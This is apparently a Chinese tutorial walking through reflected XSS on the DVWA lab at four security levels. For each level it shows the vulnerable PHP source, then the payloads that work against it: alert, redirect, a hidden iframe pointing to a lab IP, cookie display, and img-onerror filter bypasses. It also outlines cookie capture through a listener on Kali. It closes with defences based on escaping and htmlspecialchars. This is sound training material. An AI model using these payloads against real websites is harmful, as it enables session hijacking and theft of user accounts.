简介
XSS(cross-site scripting)
跨站脚本攻击,通过web站点漏洞,向客户端交付恶意脚本代码,这些代码可以被浏览器成功的执行,从而实现对客户端的攻击;
XSS可以盗取客户端cookie,将客户端重定向到第三方网站;
客户端脚本语言
弹窗警告、广告;
JavaScript;
在浏览器中执行;
XSS漏洞类型
存储型XSS;(持久型)
恶意代码被保存到目标网站的服务器中,每次用户访问时都会执行脚本代码,这种攻击具有较强的稳定性和持久性;
反射型XSS;(非持久型)
恶意代码并没有保存在目标网站,通过引诱用户点击一个恶意链接来实施攻击的;
DOM型XSS
DOM型XSS是一种基于DOM树的XSS,例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS;DOM型XSS可能是存储型,也有可能是反射型;
危害
窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
安全级别:Low
查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码分析
在源码中,可以看到直接引用来 name参数,并没有对参数做任何过滤;例如:输入a,则返回含有a的js页面;
构造弹窗
<script>alert('xss')</script>
重定向
<script>window.location="http://www.baidu.com"</script>
访问192.168.37.128/a.jpg
<iframe src='http://192.168.37.128/a.jpg' height='0' width='0'></iframe>
获取cookie
<script>alert(document.cookie)</script>
监听
步骤:
1. 制作一个js脚本; 2. 把js脚本放到www目录下; 3. 开启阿帕奇服务; 4. 监听端口; 5. 访问js脚本; 6. 获取到js脚本实现的结果;
首先在Kali上写a.js脚本,开启Apache服务,并监听指定的端口;
输入
查看Kali监听到的cookie值;
安全级别:Medium
查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
源码分析
将
<script>
过滤,可以使用事件类型标签绕过,也可使用嵌套构造和大小写转换绕过
构造弹窗
<img src=1 onerror=alert('xss') />
安全级别:High
查看源码
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
源码分析
正则过滤更加完善,不区分大小写,且使用通配符匹配,导致嵌套构造的方法也不能成功,但依旧可以使用事件类型标签或伪协议的方法
构造弹窗
<img src=1 onerror=alert('xss') />
安全级别:Impossible
查看源码
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
源码分析
name变量通过htmlspecialchars()函数被HTML实体化后输出在了标签中,目前来说没有什么的姿势可以绕过,如果这个输出在一些标签内的话,还是可以尝试绕过的
当安全级别为Impossible时,使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义)
防护总结
转义字符输出
白名单验证
HTML实体化